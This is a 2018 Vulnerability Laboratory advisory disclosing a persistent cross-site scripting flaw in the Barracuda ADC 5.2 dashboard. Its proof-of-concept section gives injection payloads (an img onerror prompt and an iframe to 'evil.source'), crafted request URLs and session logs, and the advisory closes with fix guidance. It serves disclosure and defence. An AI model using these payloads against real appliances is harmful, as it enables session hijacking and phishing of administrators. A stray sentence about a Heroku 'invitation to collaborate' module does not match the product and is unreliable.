Document Title:
===============
Barracuda ADC 5.x - Multiple Persistent Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1424


Release Date:
=============
2018-07-11


Vulnerability Laboratory ID (VL-ID):
====================================
1424


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
Ensure Application Scalability,Performance, and Security. The Barracuda Load Balancer ADC is ideal for organizations looking for 
a high-performance, yet cost-effective application delivery and security solution. With the broadest range of hardware and virtual 
models, the Barracuda Load Balancer ADC provides maximum flexibility for organizations looking to build highly secure and scalable 
application infrastructure, whether it’s deployed on-premises or in the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/loadbalancer )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerability in the Barracuda Networks ADC v5.2.0.004 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-07-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Barracuda networks ADC appliance web-application.
The application-side vulnerability allows remote attackers and privileged user accounts to inject malicious script codes to compromise 
the online service web-application.

The application-side input validation web vulnerability is located in the `last hour`,`last day` and `last week` time duration value of the 
traffic statistics module. Local low privileged application user account can inject malicious script code with persistent attack vector 
to the vulnerable to module. The injection point of the issue is the vulnerable rules add module and the execution of the malicious code 
occurs by the restapi (api) in the Dasboard Index module of the index.cgi file. 

The input form of the appliance web-application are filtered. Even if the input is filtered the internal validation does not encode the input 
or restricts the values. Attacker do not need to bypass the filter validation because the code executes directly through the main service 
in the dashboard web content.

Exploitation of the persistent vulnerability in the `invitation to collaborate` module requires a low privileged heroku account 
with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, 
persistent redirect to external source and persistent manipulation of affected or connected module context.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Traffic - Web Umwandlungen

Vulnerable Parameter(s):
[+] last hour (input time duration)
[+] last days (input time duration)
[+] last week (input time duration)

Affected Module(s):
[+] Dasboard - Traffic


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the security vulnerability ...
1. Open the barracuda adc web-application
2. Surf to the web traffic > web anwendungen module
3. Open the add mode to inject a script code as payload or use the edit exsiting (payload)
Note: Inject to the last hours, last date and last week input field
4. Now surf back to the main dasboard module
5. The application-side script code execution occurs in the displayed time duration values
6. Successful reproduce of the persistent security vulnerability!


Vulnerable Module(s): Dashboard > Traffic Statisktiken
Request Method(s): POST


PoC: Link
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391
&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3C[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]%3E&realm=
&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...


PoC: Source (Weeks,Days & Hours)
<tbody><tr class="header-row">
                <th class="first-column">Typ
                </th><th>Letzte Stunde</th>
                <th>Letzter Tag</th>
                <th>Letzte Woche</th>
            </tr>
            <tr class="content-row">
                <td class="first-column">Webanfragen</td>
<td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="evil.source" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">5</a></td>
<td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="evil.source" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">27</a></td>
<td><a class="clickable" href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="evil.source" onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]&secondary_tab=access_logs"">389</a></td>
            </tr>
            <tr class="content-row odd-row">
                <td class="first-column">Verbindungen</td>
                <td>5</td>
                <td>43</td>
                <td>438</td>
            </tr>
        </tbody>

Note: The execution of the code occurs in the dasboard next to the traffic stats module after the code has been injected to the vulnerable time duration values.


--- PoC Session Logs [GET] (Execution) ---
Status: 200[OK]
GET http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi?password=f38e497b0e70d249e8399dc0e0850898&et=1422210471&auth_type=Local&half_width=&locale=de_DE&realm=&screen_name=gslb_regions&user=guest 
Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=evil.source%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Cache-Control[no-cache, no-store, max-age=0]
      X-Frame-Options[SAMEORIGIN]
-
GET http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=evil.source%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...
Mime Type[unbekannt]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
-
Status: 200[OK]
GET http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422210471&locale=de_DE&password=f38e497b0e70d249e8399dc0e0850898&realm=&user=guest&primary_tab=TRAFFIC%20MANAGEMENT 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=evil.source%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html; charset=utf-8]
      Connection[keep-alive]
      Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]
      Content-Length[57595]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]
-
Status: 200[OK]
GET http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=evil.source%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=... 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html; charset=utf-8]
      Connection[keep-alive]
      Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]
      Content-Length[112822]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]


Reference(s):
http://adc.localhost:8080/
http://adc.localhost:8080/cgi-mod/index.cgi
http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable last hour, last day and last week input field values.
Restrict the input and disallow special chars. Filter the context of the values to prevent an execution of script code and implement 
a secure valudatuib mechanism to the broken output in the dashboard service.

Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4.
The disclosure process took about 1 year to complete by recognizing the patch cycle.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium.



Credits & Authors:
==================
Benjamin K.M. (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™